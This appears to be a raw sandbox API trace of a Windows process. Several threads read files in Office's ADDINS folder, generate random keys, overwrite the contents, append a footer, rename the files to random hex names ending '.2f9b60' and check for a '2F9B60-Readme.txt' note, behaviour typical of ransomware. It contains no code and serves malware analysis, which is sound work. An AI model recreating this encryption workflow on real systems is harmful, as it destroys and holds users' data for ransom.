[0113.342] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x782, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.342] ReadFile (in: hFile=0xee0, lpBuffer=0x3680f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3680f988, lpOverlapped=0x0 | out: lpBuffer=0x3680f940*, lpNumberOfBytesRead=0x3680f988*=0x4, lpOverlapped=0x0) returned 1 [0113.351] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0113.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.351] NtQuerySystemTime (in: CurrentTime=0x3680f880 | out: CurrentTime=0x3680f880*=132462177188170000) returned 0x0 [0113.351] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x3bbbf051 [0113.351] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x13e480d6 [0113.351] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0xd7a20e8 [0113.354] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x50b55ac [0113.354] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0xf0eaad6 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x3caf0f79 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x73402085 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x23a85f25 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x6fd25d99 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x68876d8b [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x6a7f278 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x34e61fb1 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x604a0f79 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x75f066c0 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x23356af2 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x22a69c [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0xfca7138 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x756fdc80 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x3823eb29 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x67d0f397 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x77bf6124 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x611dd3c8 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x6e3aa97 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x730c7e94 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x70f7fcb5 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x334edf17 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x71aced2c [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x3a840aac [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x2ed6c556 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x3e227eb3 [0113.355] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x4e177a1c [0113.356] RtlRandomEx (in: Seed=0x3680f870 | out: Seed=0x3680f870) returned 0x79dbda2d [0113.365] ReadFile (in: hFile=0xee0, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x786, lpNumberOfBytesRead=0x3680f870, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x3680f870*=0x786, lpOverlapped=0x0) returned 1 [0113.365] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.365] WriteFile (in: hFile=0xee0, lpBuffer=0x41d53cc0*, nNumberOfBytesToWrite=0x786, lpNumberOfBytesWritten=0x3680f874, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesWritten=0x3680f874*=0x786, lpOverlapped=0x0) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f80) returned 1 [0113.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0113.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dcc1b0) returned 1 [0113.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.370] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0113.370] WriteFile (in: hFile=0xee0, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3680f990, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3680f990*=0x104, lpOverlapped=0x0) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ea0) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ea0 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0113.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0113.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0113.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20262480 [0113.373] sprintf (in: _Dest=0x20262480, _Format="%c%c" | out: _Dest="59") returned 2 [0113.373] sprintf (in: _Dest=0x20262482, _Format="%c%c" | out: _Dest="e4") returned 2 [0113.373] sprintf (in: _Dest=0x20262484, _Format="%c%c" | out: _Dest="26") returned 2 [0113.373] sprintf (in: _Dest=0x20262486, _Format="%c%c" | out: _Dest="c9") returned 2 [0113.373] sprintf (in: _Dest=0x20262488, _Format="%c%c" | out: _Dest="9d") returned 2 [0113.373] sprintf (in: _Dest=0x2026248a, _Format="%c%c" | out: _Dest="0a") returned 2 [0113.373] sprintf (in: _Dest=0x2026248c, _Format="%c%c" | out: _Dest="29") returned 2 [0113.373] sprintf (in: _Dest=0x2026248e, _Format="%c%c" | out: _Dest="7d") returned 2 [0113.373] sprintf (in: _Dest=0x20262490, _Format="%c%c" | out: _Dest="d8") returned 2 [0113.373] sprintf (in: _Dest=0x20262492, _Format="%c%c" | out: _Dest="bb") returned 2 [0113.373] sprintf (in: _Dest=0x20262494, _Format="%c%c" | out: _Dest="af") returned 2 [0113.373] sprintf (in: _Dest=0x20262496, _Format="%c%c" | out: _Dest="82") returned 2 [0113.373] sprintf (in: _Dest=0x20262498, _Format="%c%c" | out: _Dest="85") returned 2 [0113.373] sprintf (in: _Dest=0x2026249a, _Format="%c%c" | out: _Dest="5c") returned 2 [0113.373] sprintf (in: _Dest=0x2026249c, _Format="%c%c" | out: _Dest="3a") returned 2 [0113.373] sprintf (in: _Dest=0x2026249e, _Format="%c%c" | out: _Dest="33") returned 2 [0113.373] sprintf (in: _Dest=0x202624a0, _Format="%c%c" | out: _Dest="1e") returned 2 [0113.373] sprintf (in: _Dest=0x202624a2, _Format="%c%c" | out: _Dest="9c") returned 2 [0113.373] RtlInitAnsiString (in: DestinationString=0x3680fa08, SourceString="59e426c99d0a297dd8bbaf82855c3a331e9c" | out: DestinationString="59e426c99d0a297dd8bbaf82855c3a331e9c") [0113.373] RtlAnsiStringToUnicodeString (in: DestinationString=0x3680f9d8, SourceString="59e426c99d0a297dd8bbaf82855c3a331e9c", AllocateDestinationString=1 | out: DestinationString="59e426c99d0a297dd8bbaf82855c3a331e9c") returned 0x0 [0113.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cc70 [0113.374] wcscat (in: _Dest=0x202a57c0, _Source="59e426c99" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\59e426c99") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\59e426c99" [0113.374] wcscat (in: _Dest=0x202a57c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\59e426c99.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\59e426c99.2f9b60" [0113.374] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\59e426c99.2f9b60", NtPathName=0x3680f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\59e426c99.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd65ce0 [0113.374] NtSetInformationFile (FileHandle=0xee0, IoStatusBlock=0x3680fa50, FileInformation=0x1cd65ce0, Length=0xa4, FileInformationClass=0xa) returned 0x0 [0113.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 [0113.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0113.383] NtQueryInformationFile (in: FileHandle=0xee0, IoStatusBlock=0x3680fa18, FileInformation=0x3680fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3680fa18, FileInformation=0x3680fa28) returned 0x0 [0113.383] NtSetInformationFile (FileHandle=0xee0, IoStatusBlock=0x3680fa18, FileInformation=0x3680fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0113.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a57c0) returned 1 [0113.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cc70) returned 1 [0113.384] FlushFileBuffers (hFile=0xee0) returned 1 [0113.386] CloseHandle (hObject=0xee0) returned 1 [0113.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205dd70 [0113.388] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0113.388] wcscat (in: _Dest=0x4205dd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" [0113.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt")) returned 0x20 [0113.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0113.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 Thread: id = 1155 os_tid = 0xc24 [0113.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 0x20 [0113.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF", dwFileAttributes=0x20) returned 1 [0113.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xee0 [0113.392] GetFileSizeEx (in: hFile=0xee0, lpFileSize=0x34faf8a0 | out: lpFileSize=0x34faf8a0*=778) returned 1 [0113.392] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x306, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.392] ReadFile (in: hFile=0xee0, lpBuffer=0x34faf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34faf868, lpOverlapped=0x0 | out: lpBuffer=0x34faf820*, lpNumberOfBytesRead=0x34faf868*=0x4, lpOverlapped=0x0) returned 1 [0113.431] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ef0 [0113.431] NtQuerySystemTime (in: CurrentTime=0x34faf760 | out: CurrentTime=0x34faf760*=132462177188950000) returned 0x0 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x650ae005 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x79910c72 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x3fe0125 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x18c0d3f0 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x6a865248 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x30cc629b [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0xdba7006 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x781d6880 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x4ee8a8b7 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x452f1ab7 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0xb5b3d58 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x49ed60a6 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x50824a64 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x765950f3 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x2100ef7a [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x668cfd54 [0113.431] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x7315d746 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x1ba6ea1f [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x6607f092 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0xc9cb856 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x5dbb9a13 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x64e62b57 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x4629a0de [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x10534788 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x769a31f4 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x32fa2578 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x2bdae16c [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0xa1d7a9e [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x3d5f0837 [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x5542c9ce [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x335add0e [0113.432] RtlRandomEx (in: Seed=0x34faf750 | out: Seed=0x34faf750) returned 0x5e758c5f [0113.445] ReadFile (in: hFile=0xee0, lpBuffer=0x41dcc1b0, nNumberOfBytesToRead=0x30a, lpNumberOfBytesRead=0x34faf750, lpOverlapped=0x0 | out: lpBuffer=0x41dcc1b0*, lpNumberOfBytesRead=0x34faf750*=0x30a, lpOverlapped=0x0) returned 1 [0113.446] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.446] WriteFile (in: hFile=0xee0, lpBuffer=0x41d53cc0*, nNumberOfBytesToWrite=0x30a, lpNumberOfBytesWritten=0x34faf754, lpOverlapped=0x0 | out: lpBuffer=0x41d53cc0*, lpNumberOfBytesWritten=0x34faf754*=0x30a, lpOverlapped=0x0) returned 1 [0147.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0147.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0147.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860a80) returned 1 [0147.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d53cc0) returned 1 [0147.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dcc1b0) returned 1 [0147.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0147.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0147.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0147.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0147.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0147.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860300 [0147.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860300) returned 1 [0147.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860300 [0147.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0147.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0147.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0147.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0147.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0147.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x16a080 [0147.767] SetFilePointerEx (in: hFile=0xee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.767] WriteFile (hFile=0xee0, lpBuffer=0x16a080, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34faf870, lpOverlapped=0x0) [0200.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa70 [0200.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa70) returned 1 [0200.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f0e0 [0200.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa70 [0200.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2c0 [0200.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2c0) returned 1 [0200.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202aa2c0 [0200.508] sprintf (in: _Dest=0x202aa2c0, _Format="%c%c" | out: _Dest="0b") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2c2, _Format="%c%c" | out: _Dest="28") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2c4, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2c6, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2c8, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2ca, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2cc, _Format="%c%c" | out: _Dest="58") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2ce, _Format="%c%c" | out: _Dest="59") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2d0, _Format="%c%c" | out: _Dest="1b") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2d2, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2d4, _Format="%c%c" | out: _Dest="df") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2d6, _Format="%c%c" | out: _Dest="f6") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2d8, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2da, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2dc, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2de, _Format="%c%c" | out: _Dest="f7") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2e0, _Format="%c%c" | out: _Dest="59") returned 2 [0200.508] sprintf (in: _Dest=0x202aa2e2, _Format="%c%c" | out: _Dest="2a") returned 2 [0200.509] RtlInitAnsiString (in: DestinationString=0x34faf8e8, SourceString="0b28e1b49cdd58591bbadff6d16c2df7592a" | out: DestinationString="0b28e1b49cdd58591bbadff6d16c2df7592a") [0200.509] RtlAnsiStringToUnicodeString (in: DestinationString=0x34faf8b8, SourceString="0b28e1b49cdd58591bbadff6d16c2df7592a", AllocateDestinationString=1 | out: DestinationString="0b28e1b49cdd58591bbadff6d16c2df7592a") returned 0x0 [0200.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d370 [0200.509] wcscat (in: _Dest=0x431da190, _Source="0b28e1b49" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\0b28e1b49") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\0b28e1b49" [0200.509] wcscat (in: _Dest=0x431da190, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\0b28e1b49.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\0b28e1b49.2f9b60" [0200.510] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\0b28e1b49.2f9b60", NtPathName=0x34faf890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\0b28e1b49.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431eaa90 [0209.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eaa90) returned 1 [0209.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fce80) returned 1 [0209.448] NtQueryInformationFile (in: FileHandle=0xee0, IoStatusBlock=0x34faf8f8, FileInformation=0x34faf908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34faf8f8, FileInformation=0x34faf908) returned 0x0 [0209.448] NtSetInformationFile (FileHandle=0xee0, IoStatusBlock=0x34faf8f8, FileInformation=0x34faf908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431da190) returned 1 [0216.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d370) returned 1 [0216.249] FlushFileBuffers (hFile=0xee0) returned 1 [0216.252] CloseHandle (hObject=0xee0) returned 1 [0219.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431caf40 [0219.413] wcscpy (in: _Dest=0x431caf40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\" [0219.413] wcscat (in: _Dest=0x431caf40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" [0219.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\2f9b60-readme.txt")) returned 0x20 [0219.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431caf40) returned 1 [0219.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868c40) returned 1 Thread: id = 1156 os_tid = 0xc20 [0113.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml")) returned 0x20 [0113.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML", dwFileAttributes=0x20) returned 1 [0113.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f0 [0113.397] GetFileSizeEx (in: 